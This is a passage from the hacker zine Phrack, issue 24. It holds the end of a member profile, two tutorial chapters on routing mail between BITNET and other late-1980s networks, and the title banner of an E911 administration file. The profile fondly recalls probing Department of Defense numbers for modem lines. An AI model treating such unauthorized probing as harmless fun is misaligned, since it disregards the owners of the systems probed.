‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Chanda Lier's Interests Include: MUSIC... specifically harDCore... (that would

be punk rock from Washington, DC). Most of

her friends are or were in DC bands... The

Untouchables, Teen Idles, Minor Threat, Youth

Brigade (DC), Grey Matter, Government Issue,

etc.

HORROR... novels, movies, comics.... Clive

Barker, Arcane Comix (of which her friend

Steve is publisher of), Peter Straub, Dean

Koontz, Whitely Streiber etc... that whole

genre...

And Flannery O'Connor rules...

Her most memorable experiences include the following:

Her parents used to "make" her start conferences for them whenever it was a relative's birthday. They would get the whole family on the line and chat and stuff. Everyone thought it was really cool....

Other fun times were when her dad would pull out his DoD (Department of Defense) phonebook and they would hack around for modem lines.... Tuc coming to her grandmother's house in April 1985 and then going to see "Desperately Seeking Susan"...

Some People to Mention:

"I guess, just Taran King, for this interview, and Knight Lightning...both of whom contacted me here at CMU.... and TUC... and ...?"

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

And of course...that regular closing to the Phrack Pro‑Phile... Are most of the phreaks and hackers that you've met computer geeks? "YES... no doubt."

Thanks for your time, Karen.

Limbo To Infinity; Chapter Three of FTSaga

==Phrack Inc.==

Volume Two, Issue 24, File 3 of 13

<><><><><><><><><><><><><><><><><

<>

<> Limbo To Infinity <>

<> ~~~~~~~~~

<> Chapter Three of The Future Transcendent Saga <>

<>

<> Traversing The Barriers For Gateway Communication <>

<>

<> Presented by Knight Lightning <>

<> February 11, 1989 <>

<>

<><><><><><><><><><><><><><><><><

Beyond Bitnet lies the other wide area networks. We will discuss more about those networks in chapter four. Right now lets learn how to communicate with those other realms.

________________________________________

Mailing To Other Networks ‑ Gateway Communications ~~~~~~~~~~~~~~~~~~~~~~~~~

Bitnet, as you already know, is not the only computer network in the world. What you might be surprised to find out, however, is that when you have access to Bitnet you also have access to many other networks as well. Unfortunately, the methods for communicating with people in these other networks are not as simple as the ones described earlier.

Bitnet's links to other networks give you access to people and services you could not contact otherwise (or at least without great expense). This alone should make learning a bit about them worthwhile.

In chapter one of this series, I showed you how some Bitnet nodenames can be broken down into state abbreviations. To go a step further, try and think of Bitnet as a country and the links between the Bitnet nodes as highways. Another network (or country in this example) is connected to our highway system at one point, which is called a "gateway." These borders do not let interactive messages or files through; only mail is allowed past the gateway.

The people in these other networks have addresses just like yours, but you will need to specify something extra in order to get mail to them. A userid@node address is not enough, because that does not tell the Bitnet mail software what network that node is in. Therefore, we can extend the network address with a code that identifies the destination network. In this example, the destination network is ARPAnet (a network I'm sure you have heard much about), the code for which is ARPA.

TARAN@MSP‑BBS.ARPA

+‑‑‑‑ +‑‑‑‑‑‑ +‑‑‑

| | |

| | +‑‑‑‑‑‑‑‑the network

| |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑the node

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑the userid

That is about as simple as an address from another network gets. Generally they are much more complex. Because of the variety of networks there can be no example which will show you what a "typical" address might be. However, you should not have to let it worry you too much. If someone tells you that his network address is C483307@UMCVMB.MISSOURI.EDU, just use it like that with your mail software. As long as you understand that the mail is going to another network and that the transit time may be longer than usual (although in many cases I have found that mail going to EDU addresses is delivered much faster than Bitnet mail) you should not have many problems.

More On Gateways

~~~~~~~~~~~~~~~~

I introduced the gateways in the previous section, but didn't get into too much detail. This is because the subject can get more than a little complex at times. Actually, understanding gateways isn't difficult at all, but interpreting network addresses that use them can be.

In the previous example, an address for someone in another network looked like this:

TARAN@MSP‑BBS.ARPA

The ".ARPA" in the address tells your networking software that your letter should go to someone in another network. What you might not realize is that your networking software "knows" that the address for the gateway to ARPA may be at, say INTERBIT. It might extend the address to look something like this:

TARAN%MSP‑BBS.ARPA@INTERBIT

+‑‑‑‑ +‑‑‑‑‑‑ +‑‑‑ +‑‑‑

| | | |

| | | +‑‑‑the node of the gateway

| | |

| | +‑‑‑‑‑‑‑‑the network

| |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑the node

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑the userid

The gateway is a server machine (userid@node) that transfers files between the two networks. In this case, it is ARPA@INTERBIT. Note that the "%" replaces the "@" from the previous example. This is because Bitnet networking software cannot handle addresses with more than one AT sign (@). When your mail gets to the gateway, the "@INTERBIT" would be stripped off, and the "%" would be turned back into a "@".

Ok, so now you are asking, "If this is so automatic, why do you need to know this?" In many cases your networking software is not smart enough to know that the gateway for SCONNET is at STLMOVM. If this is the case, you have to type out the whole address with all of the interesting special characters.

For example, sometimes, you may have to change the addresses around somewhat. Let's say I'm talking to Lex Luthor one day and he tells me his address is "lex@plover.COM". I have found that an address like "lex@plover.COM" would actually be mailed to as "plover!lex@RUTGERS.EDU". Now this is just a specific example of how it works from my particular system and other systems (not to mention networks) will work differently (this is a guide for people using Bitnet). The COM (Commercial) addresses are not recognized by the mailer at UMCVMB and so I have to route them through Rutgers University. In chapter four, I will discuss some of the other networks that are interconnected.

In many cases, a gateway to a network may be in another network. In this example, we are sending mail to RED at node KNIGHT in HDENNET. The gateway to the network is in, say, ARPAnet. Our networking software is smart enough to know where ARPA gateway is, so the address might look something like this:

RED%KNIGHT.HDENNET@SRI‑NIC.ARPA

+‑‑ +‑‑‑‑‑ +‑‑‑‑‑‑ +‑

| | | |

| | | | the network of the gateway

| | | |

| | | +‑the node of the gateway

| | |

| | +‑‑‑‑‑‑‑‑‑the network

| |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑the node

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑the userid

As you can see, these addresses can get pretty long and difficult to type. Perhaps the only consolation is that your address probably looks just as bad to the people in the destination network.

Foundations Abound

~~~~~~~~~~~~~~~~~~

Just as there are servers and services in Bitnet, there are similar counterparts in the other networks as well. There are many electronic digests and servers that are similar to Bitnet servers available on several of the other networks.

________________________________________

Gateways To Non‑Standard Networks ‑ Intermail

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Intermail is perhaps the most interesting exception to standard gateways. It's better to just show you what I mean rather than try to really technically describe the process. With Intermail, you can access networks you probably never thought were accessible.

I have included the instructions for using the Intermail system for transmitting computer mail between users in the MCI‑Mail system, the GTE Telemail system, the Compmail/Dialcom 164 system, and the NFS‑Mail/Dialcom 157 system to the ARPA‑Mail system. The Intermail system may be used in either direction.

Mail to be sent to MCI Mail, GTE Telemail, Compmail, or NSF‑Mail is sent to the "Intermail" mailbox on the local mail system. The Intermail system operates by having a program service mailboxes in both the local and the destination mail systems. When the right information is supplied at the beginning of a message, the program forwards those messages into the other mail system.

In order for a message to be delivered to a mailbox in another mail system, forwarding information must be included at the beginning of the text of each message. This forwarding information tells the mail forwarding program which mail system to forward the message to, and which mailboxes to send it to. This information is in the form:

Forward: <mail system>

To: <user mailbox>

<blank line>

The syntax allowed on the "To:" line is that of the system being forwarded into. In ARPA‑Mail it is also possible to send to a list of CC recipients in any of the mail gateway systems. See the examples for further details.

In either direction, the local Subject field of the message to Intermail is used as the Subject field of the message delivered in the other mail system.

Sending To Non‑Standard Networks From Bitnet

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

In this direction, the Internet user must first send mail to the Intermail mailbox on the ARPA‑Internet. The address of "Intermail" is "INTERMAIL@ISI.EDU". Next, the Mailbox forwarding information must be added at the beginning of the text of each message. The names of the mailboxes are MCI‑MAIL, TELEMAIL (for GTE Telemail), COMPMAIL, and NSF‑MAIL.

This information is in the form:

Forward: <Type name of mailbox here>

To: <a valid address on the system you're forwarding to> <blank line>

<Message...>

Please Note: Although CompuServe (CIS), Telex, and FAX are accessible from MCI‑Mail, the Intermail gateway does not support these services. However, there is a Bitnet‑CompuServe gateway, but that will be discussed in the next section of this file.

Sending To Bitnet From Non‑Standard Networks

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Supposing that you have an account on MCI‑Mail, GTE Telemail, Compmail, or NSF‑Mail and you would like to mail to someone on Bitnet, you would direct your mail to one of the following addresses;

"INTERMAIL" (actually MCI‑ID "107‑8239") in MCI‑Mail, "INTERMAIL/USCISI" in GTE Telemail, "164:CMP00817" in Compmail/Dialcom 164, and "157:NSF153" in NSF‑Mail

Once you have done this, you actually type the following as the first two lines in the mail:

Forward: ARPA

To: KNIGHT%MSPVMA.BITNET@CUNYVM.CUNY.EDU

<blank line>

<Message...>

In this example, KNIGHT is the userid and MSPVMA is the Bitnet node. CUNYVM.CUNY.EDU is the Internet gateway to ARPAnet. It's really just that simple.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

In case of questions or problems using Intermail, please send a message to Intermail‑Request@ISI.EDU.

________________________________________

CompuServe

~~~~~~~~~~

The gateway is not yet live as of this writing. Testing on it has been delayed somewhat because of high‑priority projects inside CompuServe. However, it might be a safe bet that by the time you read this that the gateway will be complete.

The specific mechanism is that the gateway machine, 3B2/400 named Loquat, believes that it has a UUCP neighbor "compuserve" which polls it. In reality, the UUCP connection is a lie all around, but the gateway starts up on an hourly basis, pokes through the UUCP queue, finds mail aimed at CompuServe, and creates script language on the fly suitable for a utility called Xcomm 2.2 to call CompuServe, download any waiting mail, and upload any queued mail.

Appropriate header hacking is done so that CompuServe looks like just another RFC‑compliant entity on the Internet, and the Internet looks like yet another gatewayed system from the perspective of the CompuServe subscriber ‑ a very minor modification to the usual syntax used in their mailer is needed, but this project has provided the impetus for them to generalize the mechanism, something they had apparently not needed before.

So that's where it stands. Loquat speaks with machines at Ohio State. At the moment, there is a problem preventing mail passage except between CompuServe and Ohio State, while they finish development and testing. Also, part of the header hacking done is to make CompuServe IDs look right on the Internet ‑ the usual 7xxxx,yyy is a problem due to the presence of the ",".

________________________________________

Easynet

~~~~~~~

A mail gateway between Easynet and the UUCP network and DARPA Internet (including CSNET) is provided by the Western Research Laboratory in Palo Alto, California. Hopefully this service will provide improved communications between the DEC community and the Usenet and Internet communities.

Mailing From A Bitnet Site To An Easynet Node

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

To mail a message from an Internet site to an Easynet node (say MSPVAX), you type:

To: user%mspvax.dec.com@decwrl.dec.com

A few other forms are still accepted for backward compatibility, but their use is discouraged and they will not be described here.

Mailing From Easynet To Bitnet

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

For people on Easynet who would like to mail to people on Bitnet the following information may be of interest.

The gateway supports connection to Bitnet using a pseudo‑domain syntax. These addresses are translated by the gateway to the proper form to address the gateway into Bitnet. To address users in Bitnet you type:

To: DECWRL::"user@host.bitnet"

(Example: To: DECWRL::KNIGHT@MSPVAX.BITNET)

________________________________________

Mailnet

~~~~~~~

The Bitnet‑Mailnet Gateway no longer exists. EDUCOM's Mailnet Service was discontinued after June 30, 1987 in agreement with MIT.

________________________________________

DASnet

~~~~~~

DASnet is one of the networks that is connected to AppleLink.

Sending to DASnet from Bitnet:

1. In the "TO" field, enter the DASnet gateway address: XB.DAS@STANFORD.BITNET 2. In the "SUBJECT" field, enter the DASnet user id (such as [1234AA]joe)

Example (0756AA is the DASnet address and randy is the user on that system):

To: XB.DAS@STANFORD.BITNET

Subject: [0756AA]randy

3. If you type a "!" after the address in the subject field, you can insert comments, but the subject line must be limited to 29 characters. Example; Subject: [0756AA]randy!Networks are cool

Sending to Bitnet from DASnet

1. In the "TO" field, enter the BITNET address followed by "@dasnet" 2. Use the "SUBJECT" field for comments.

Example:

To: knight@umcvmb.bitnet@dasnet#MSubject: Gateways

Don't be confused, there are two @s and a at the end.

________________________________________

Gateways Between Bitnet And Other Networks Not Previously Detailed

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

____________________________

| |

| "u" = UserId | "h" = Host (Node) | "d" = Node (Host) |

|______________|_____________

To: CSNET Phonenet <u>@<h>.csnet

To: JANET (Domains: U: uk) <u>%<d>.U@ac.uk

To: EAN (Domains: E: cdn, dfn, etc.) <u>@<d>.E

To: COSAC <h>/<u>@france.csnet

To: Xerox Internet (Domains: R: A registry) <u>.R@xerox.com

To: DEC's Easynet <*Detailed Earlier*> <u>%<h>.dec.com@decwrl.dec.com

To: IBM's VNET <u>@vnet

To: ACSNET (Domains: A: oz.au) <u>%<d>.A@<g>

To: UUCP h1!h2!<h>!<u>@psuvax1

To: JUNET (Domains: J: junet) <u>%<d>.J@csnet‑relay.csnet

To: JANET <u>%U.<d>@ac.uk

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

To: BITNET

From

ARPA Internet <u>%<h>.bitnet@cunyvm.cuny.edu

CSNET Phonenet <u>%<h>.bitnet@relay.cs.net

JANET <u>%<h>@uk.ac.rl.earn

EAN <u>@<h>.bitnet

COSAC adi/<u>%<h>.bitnet@relay.cs.net

ACSNET <u>%<h>.bitnet@munnari.oz

UUCP psuvax1!<h>.bitnet!<u>

JUNET <u>@<h>.bitnet

________________________________________

Conclusion

~~~~~~~~~~

Now that you understand how to mail to the other networks by making use of the gateways, we will begin looking at the other networks themselves. As my greatest area of expertise is Bitnet, I will cover the other networks in less detail. If they interest you, I'm sure you will find a way to learn more about them. So read Chapter Four of The Future Transcendent Saga ‑‑ Frontiers.

:Knight Lightning

Frontiers; Chapter Four of FTSaga

==Phrack Inc.==

Volume Two, Issue 24, File 4 of 13

<><><><><><><><><><><><><><><><><

<>

<> Frontiers <>

<> ~~~~~

<> Chapter Four of The Future Transcendent Saga <>

<>

<> Beyond Bitnet Lies Infinity <>

<>

<> Presented by Knight Lightning <>

<> February 12, 1989 <>

<>

<><><><><><><><><><><><><><><><><

Welcome to the final chapter of The Future Transcendent Saga... or is it? Can there ever really be a final chapter to the future? In any case, I have collected information on some of the various other networks that you may comes across through your use of Bitnet. These listings are more of a summary than a detail guide (like Utopia was for Bitnet). However, I think you'll make good use of the information presented here. Much of the information in this file is based on examination of research conducted in July, 1987. Any errors due to the advancement in technology and the difference in time are apologized for.

The networks indexed in this file include the government agency networks ARPANET, MILNET, MFENET, and NSFnet; and the user‑formed networks CSNET, HEANET, SPAN, TEXNET, UUCP, and USENET.

This file is not intended to be a hackers guide, but merely a directory of some of the networks.

One last thing to mention... the major top level domains on the Internet are:

.EDU Educational Institutions

.COM Commercial

.GOV Government

.MIL Military

.ORG Miscellaneous Orgainizations (that don't fit elsewhere)

________________________________________

GOVERNMENT AGENCY NETWORKS

~~~~~~~~~~~~~~

ARPANET and MILNET

In 1969 the Defense Advanced Research Projects Agency (DARPA) began a research program to advance computer networking. The experimental packet‑switched network that emerged was called ARPANET, and it allowed computers of different types to communicate efficiently. Using ARPANET technology, the Defense Data Network (DDN) was created in 1982 to encompass the existing ARPANET and other Department of Defense (DoD) computer networks. The DDN uses the DoD Internet Protocol Suite, including TCP/IP (Transmission Control Protocol/Internet Protocol) and associated application protocols.

A splitting of the ARPANET was begun in 1983 and completed in 1984. The result was two networks, an experimental research and development network called ARPANET, and a non‑classified operational military network called MILNET. Gateways interconnect the two networks. The backbones of each of the networks consist of Packet Switched Nodes (PSNs), most of which are connected with 56 Kb terrestrial lines. As of January 1987, the ARPANET had 46 PSNs, and MILNET had 117 PSNs in the U.S. and 33 in Europe and the Pacific.

While ARPANET and MILNET make up part of the DDN, the DDN and other networks works which share the same protocols make up the ARPA Internet. CSNET X25net, which uses the TCP/IP protocols interfaced to the public X.25 network, is an example of a network which is part of the ARPA Internet and is not a part of the DDN.

_____________________________

| +‑‑‑‑‑‑‑

| | CSNET X25net | |

| +‑‑‑‑‑‑‑

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | DDN | |

| | +‑‑‑‑‑‑‑‑‑+ |

| | | Arpanet | | |

| | +‑‑‑‑‑‑‑‑‑+ |

| | |

| | +‑‑‑‑‑‑‑‑‑+ |

| | | Milnet | | |

| | +‑‑‑‑‑‑‑‑‑+ |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ ARPA Internet |

|_____________________________

Policy, access control and funding for the ARPANET are provided by DARPA's Information Processing Techniques Office (IPTO). ARPANET and MILNET operation and management are provided by the Defense Communications Agency's DDN Program Management Office (DDN PMO).

Use of the ARPANET is limited to users engaged in experimental research for the U.S. government, or government‑sponsored research at universities. Because it is not meant to compete with commercial networks, it is not intended for operational communication needs or use by the general public.

Services available on ARPANET and MILNET include remote login, file transfer, mail, time, and date. Mail addressing on both of the networks is of the form user@domain, where domain refers to a full qualified domain name composed of a string of one or more subdomains separated by a period, ending with a top‑level domain. Examples of top‑level domains: edu, com, gov, mil, net, org, jp, au, uk. Examples of fully qualified domain names: kentarus.cc.utexas.edu, relay.cs.net, icot.jp.

The DDN funds a Network Information Center (NIC), located at SRI International in Menlo Park, California, which provides user services to DDN users via electronic mail (NIC@SRI‑NIC.ARPA), telephone (800‑235‑3155) and U.S. mail: DDN Network Information Center, SRI International, Room EJ291, 333 Ravenswood Avenue, Menlo Park, CA 94025. The telephone service is available Monday through Friday, 7a.m to 4p.m., Pacific time.

Much information is also available on‑line on SRI‑NIC.ARPA, via telnet or anonymous ftp (login "anonymous", password "guest"). The file NETINFO:NETINFO‑INDEX.TXT contains an index of these on‑line files.

________________________________________

MFENET

MFEnet is the Department of Energy's (DOE) magnetic fusion energy research network. It was established in the mid‑1970's to support access to the MFE Cray 1 supercomputer at the Lawrence Livermore National Laboratory. The network uses 56‑kbs satellite links, and is designed to provide terminal access to the Cray time‑sharing system (CTSS), also developed at the Lawrence Livermore Laboratory. The network currently supports access to Cray 1, Cray X‑MP/2, Cray 2, and Cyber 205 supercomputers. The network uses special‑purpose networking software developed at Livermore, and, in addition to terminal access, provides file transfer, remote output queuing, and electronic mail, and includes some specialized application procedures supporting interactive graphics terminals and local personal computer (PC)‑based editing. Access to the network is in general restricted to DOE‑funded researchers. A couple of years ago, the network was expanded to include the DOE‑funded supercomputer at Florida State University. MFEnet is funded by DOE and managed by Livermore.

MFEnet has been successful in supporting DOE supercomputer users. However, the specialized nature of the communications protocols is now creating difficulties for researchers who need advanced graphics workstations that use the UNIX BSD 4.2 operating system and the TCP‑IP protocols on LAN's. For these and other reasons, DOE is examining how best to migrate MFEnet to the TCP‑IP, and later to the OSI, protocols.

The combination of the CTSS operating system and the MFEnet protocols creates an effective interactive computing environment for researchers using Cray supercomputers. For this reason, two of the new NSF national supercomputer centers ‑‑ San Diego (SDSC) and Illinois ‑‑ have chosen the CTSS operating system. In SDSC's case, the MFENET protocols have also been chosen to support the SDSC Consortium network. In Illinois case, a project to implement the TCP‑IP protocols for the CTSS operating system has been funded by the NSFnet program, and these developments will be shared with SDSC (and with DOE) to provide a migration path for the SDSC Consortium network.

Mail can be sent to people on MFEnet by using this format;

user%site.MFENET@NMFEDD.ARPA

________________________________________

NSFNET

NSFnet began in 1986 as a communications network to facilitate access to NSF‑funded national supercomputer centers. It is evolving into a general purpose internet for research and scientific information exchange. The network has a three‑level component structure comprised of a backbone, several autonomously administered wide‑area networks, and campus networks. The backbone includes the following supercomputer centers:

‑ National Center for Supercomputing Applications, University of Illinois, Urbana (UIUC)

‑ Cornell National Supercomputer Facility, Cornell University (Cornell) ‑ John von Neumann National Supercomputer Center, Princeton, New Jersey (JVNC)

‑ San Diego Supercomputer Center, University of California, San Diego (SDSC)

‑ Pittsburgh Supercomputer Center (Westinghouse Electric Corp, Carnegie‑Mellon University, University of Pittsburgh)

‑ Scientific Computing Division of the National Center for Atmospheric Research, Boulder, Colorado (NCAR)

Upper layer protocols in use on the NSFnet backbone are the TCP/IP protocols. The backbone became operational in July of 1986. It was composed of seven 56 kps links between six IP gateways. These gateways are LSI 11/73 systems. An upgrade to T1 links (1.544 Mps) was established in the latter part of 1987. There are plans to adopt the OSI networking protocols as the software becomes available.

NSF‑funded component networks include:

BARRNET ‑ California's Bay Area Regional Research Network MERIT ‑ Michigan Educational Research Network

MIDNET ‑ Midwest Network

NORTHWESTNET ‑ Northwestern states

NYSERNET ‑ New York State Educational and Research Network SESQUINET ‑ Texas Sesquicentennial Network

SURANET ‑ Southeastern Universities Research Association Network WESTNET ‑ Southwestern states

JVNCNET ‑ consortium network of JVNC

SDSCNET ‑ consortium network of SDSC

PSCAAnet ‑ consortium network of the Pittsburgh Supercomputer Center

Some of the component networks preceded NSFnet, and some of them have just recently been established. Each of the component networks is connected to the backbone. Information about the status of any NSFnet component network is available from the NSFnet Network Service Center (NNSC). Monthly reports on the status of the backbone and component networks are also available on‑line through the CSNET Info‑Server. Send a message to info‑server@sh.cs.net with the following message body:

REQUEST: NSFNET

TOPIC: NSFNET‑HELP

REQUEST:END

These reports may also be retrieved by anonymous ftp (login "anonymous", password "guest") from sh.cs.net, in the directory "nsfnet." [FTP stands for File Transfer Protocol]

Other autonomous networks connected to the NSFnet backbone include ARPANET, BITNET, CSNET, and USAN (the University Satellite Network of the National Center for Atmospheric Research).

Interesting projects associated with NSFnet include implementation of the gated routing daemon which handles the RIP, EGP and HELLO routing protocols and runs on 4.3BSD, Ultrix TM, GOULD UTX/32 TM, SunOS and VMS TM (Cornell University Theory Center); implementation of TCP/IP for the CTSS operating system supporting TELNET and FTP (University of Illinois); and a satellite experiment providing 56 kps links between distant ethernets using Vitalink technology (NCAR).

Management of the NSFnet is in an interim form with duties shared among The University of Illinois, Cornell University, the University of Southern California Information Sciences Institute, and University Corporation for Atmospheric Research. The NSFnet project is administered by the Division of Network and Communications Research and Infrastructure, which is part of the Computer and Information Science and Engineering Directorate at NSF.

Further information is available from the NSFnet Network Service Center (NNSC), BBN Laboratories Inc., 10 Moulton Street, Cambridge, MA 02238. Assistance can also be obtained by electronic mail to nnsc@nnsc.nsf.net, or by calling 617‑497‑3400. The NNSC is run by Bolt, Beranek and Newman, and is an NSF‑funded project of the University Corporation for Atmospheric Research.

________________________________________

USER‑FORMED NETWORKS

~~~~~~~~~~~

CSNET

In 1980 a proposal was presented to the National Science Foundation to fund a computer science research network to link any university, commercial or government organizations involved in research or advanced development in computer science and computer engineering. NSF provided funding for the period for 1981 to 1985, and CSNET was established. This single logical network today connects approximately 200 computers on three physical networks. These component physical networks are Phonenet, X25net and a subset of the ARPANET. Phonenet is a store‑and‑forward network using MMDF software over public telephone lines to provide electronic mail service. X25net utilizes the public X.25 packet switched network Telenet, interfaced with TCP/IP, to provide electronic mail, file transfer and remote login. Some ARPANET hosts are also members of CSNET. The computers linked by CSNET are in the U.S., Europe, Canada, Israel, Korea and Japan. Addressing in CSNET is in the ARPA Internet domain style.

In 1981 a contract was arranged with Bolt, Beranek and Newman, Inc. to provide information, user and technical services for CSNET, and the CSNET Coordination and Information Center (CIC) was established. The CIC handles the daily management of the network, and oversight is provided by the CSNET Executive Committee. The network is supported by membership fees.

The CIC maintains a User Name Server database, which is accessible through the ns command on CSNET hosts running appropriate software, or by telnet to the CSNET service host, sh.cs.net (login "ns", no password required). There is also much information available via anonymous ftp to sh.cs.net (login "anonymous", password "guest"), particularly in the directory "info." The Info Server also provides a means for retrieving this information. To utilize the Info Server, send mail to infoserver@sh.cs.net with the following lines in the message body:

REQUEST: INFO

TOPIC: HELP

REQUEST: END

The on‑line information includes software, policy documents, information on other networks, site lists and mailing list archives.

CSNET Foreign Affiliates and their gateways are:

CDNNET ‑‑ Canadian Academic Network, University of British Columbia.

SDN ‑‑ System Development Network (SDN) is an R&D computer network, consisting of computers of R&D communities in Republic of Korea, with a gateway at KAIST, Korea Advanced Institute of Science and Technology, Seoul. It has mail connection to CSNET/Internet, USENET/EUNET/UUCP Net and Pacific countries like Australia, Indonesia, Hong Kong, Singapore and Japan.

SUNET ‑‑ Swedish University Network, Chambers University of Technology, Gothenburg.

CHUNET ‑‑ Swiss University Network, ETH‑Zentrum, Zurich.

Inria ‑‑ French University Network, Institute National de Recherce en Informatique, Rocquencourt.

DFN ‑‑ Deutches Forschungsnetz, GWD‑Gesellschaft fuer Mathematick und Datenvararbiten, Schloss Birlinghoven, St. Augustin.

JUNET ‑‑ Japanese University Network, University of Tokyo.

Finnish University Network, Helsinki University, Helsinki.

AC.UK ‑‑ Academic Community, United Kingdom, University College, London.

ACSNET ‑‑ A UUCP‑based academic network in Australia, University of Melbourne.

New Zealand Academic Network, Waikato University, Hamilton.

Israeli Academic Network, Hebrew University of Jerusalem.

For more information contact CSNET CIC, BBN Laboratories Inc., 10 Moulton Street, Cambridge, MA 02238, or send electronic mail to cic@sh.cs.net (cic@csnet‑sh.arpa). A 24‑hour hotline is also available, (617) 497‑2777.

________________________________________

HEANET

HEAnet is a network linking the Universities and National Institutes for Higher Education in the Republic of Ireland. The following institutions belong to HEANET:

NIHED: National Institute for Higher Education, Dublin NIHEL: National Institute for Higher Education, Limerick MAY: St. Patrick's College, Maynooth

TCD: Trinity College, Dublin

UCC: University College, Cork

UCD: University College, Dublin

UCG: University College, Galway

The abbreviations on the left are used to form the network addresses for the hosts belonging to each institution. Addresses use the form:

host.institution.IE (for example VAX2.NIHED.IE)

HEANET is connected to EARN/Bitnet/Netnorth by a gateway at University College, Dublin. Mail for HEANET should be sent as a BSMTP "job" to MAILER at IRLEARN.

________________________________________

SPANet

The Space Physics Analysis Network (SPAN) became operational in 1981, and was the result of a pilot project at Marshall Space Flight Center funded by NASA (Space Plasma Physics Branch, Office of Space Science). The network is a mission‑independent data system testbed, intended to address problems of exchanging data (raw and processed), analysis software, graphic images and correspondence between researchers in several disciplines, including Solar‑Terrestrial, Interplanetary and Planetary Physics, Astrophysics, Atmospherics, Oceans, Climate and Earth Science. A perception that multidisciplinary correlative research in solar‑terrestrial physics would increase in the 1980's, that standards were lacking in scientific databases, and that support was required for the display of device independent graphic images, all motivated the establishment of SPAN. SPAN has therefore developed to facilitate space data analysis and address significant unresolved problems of scientific data exchange and correlation.

The Data Systems Users Working Group, formed in 1980, provides guidance and policy recommendations to SPAN. Daily operation of the network is performed by a network and project manager, a project scientist, routing center managers, and managers at the local nodes.

SPAN nodes communicate using a variety of transmission media (fiber optics, coax, leased telephone lines) and lower layer protocols (ethernet, X.25, DDCMP), and nearly all SPAN hosts use the DECnetTM upper layer protocols. There are plans to migrate to the emerging OSI protocols as software becomes available.

Currently SPAN connects over 1200 computers throughout the United States, Europe, Canada, and Japan (leading to all of the hacker related trouble on the network, such as the Mathias Speer incident). The network backbone in the United States consists of redundant 56 kps links between 5 DECnet routing centers:

1. NASA's Johnson Space Center (Houston, Texas)

2. NASA and Cal Tech's Jet Propulsion Laboratory (Pasadena, California) 3. NASA's Marshall Space Flight Center (Huntsville, Alabama) 4. NASA's Goddard Space Flight Center (Greenbelt, Maryland) 5. NASA's Ames Research Center (Moffett Field, California)

Tail circuits connect SPAN member institutions to the closest routing center, in most cases with leased lines at a minimum of 9.6 kps.

SPAN is gatewayed to CSNET, ARPANET, BITNET, GTE Telenet, JANET and the NASA Packet Switched System (NPSS). SPAN is joined to TEXNET, HEPnet and other DECnetTM wide area networks. Services available to SPAN nodes include electronic mail, remote file transfer and remote login.

Additional information is available from the SPAN Network Information Center (SPAN‑NIC) located at the National Space Science Data Center, NASA Goddard Space Flight Center, Greenbelt, Maryland 20771. Assistance is also available by electronic mail at NSSDCA::SPAN_NIC_MGR.

________________________________________

TEXNET

Most of TEXNET became operational in 1986, although pieces of this network existed earlier. The purpose of the network is to link computers at Texas universities which run the DECnetTM upper layer protocols. Lower layer protocols in use on the network are ethernet (IEEE 802.3) and DDCMP (Digital Data Communication Message Protocol). TEXNET currently connects over 450 machines in 14 cities. The network backbone consists of DECnetTM routers, and some synchronous links, connected via leased lines. 9600 bps and 56 Kbps lines are used.

Gateways exist from TEXNET to SPAN, BITNET and the ARPA Internet. Services provided include electronic mail, file transfer and remote login.

Operational and policy management of the network is by consensus of an informal management group composed of managers from each member institution.

The following institutions are TEXNET members:

Baylor University

Houston Area Research Center

Pan American University

Sam Houston State University

Southwest Texas State University

Texas A & M University

University of Houston

University of Texas at Arlington

University of Texas at Austin

University of Texas at El Paso

University of Texas at Dallas

University of Texas at Permian Basin

University of Texas at San Antonio

University of Texas at Tyler

University of Texas Health Center at Tyler

University of Texas Health Science Center at Dallas University of Texas Health Science Center at Houston University of Texas Health Science Center at San Antonio University of Texas Medical Branch Galveston

University of Texas System Cancer Center

University of Texas System Center for High Performance Computing University of Texas Office of Land Management

________________________________________

UUCP and USEnet

The UUCP network was started in the 1970's to provide electronic mail and file transfer between UNIX systems. The network is a host‑based store‑and‑forward network using dialup telephone circuits and operates by having each member site dialup the next UUCP host computer and send and receive files and electronic mail messages. The network uses addresses based on the physical path established by this sequence of dialups connections. UUCP is open to any UNIX system which chooses to participate. There are "informal" electronic mail gateways between UUCP and ARPANET, BITNET, or CSNET, so that users of any of these networks can exchange electronic mail.

USENET is a UNIX news facility based on the UUCP network that provides a news bulletin board service. USEnet has both academic and commercial members and affiliates in Europe, Asia, and South America. Neither UUCP nor USENET has a central management; volunteers maintain and distribute the routing tables for the network. Each member site pays its own costs and agrees to carry traffic. Despite this reliance on mutual cooperation and anarchic management style, the network operates and provides a useful, if somewhat unreliable, and low‑cost service to its members. Over the years the network has grown into a world‑wide network with thousands of computers participating.

"The Future Is Now"

Control Office Administration Of Enhanced 911 Service

==Phrack Inc.==

Volume Two, Issue 24, File 5 of 13

[][][][][][][][][][][][][][][][

[]

[] Control Office Administration [] [] Of Enhanced 911 Services For [] [] Special Services And Major Account Centers []

[]

[] By The Eavesdropper []

[]

[] March, 1988 []

[]

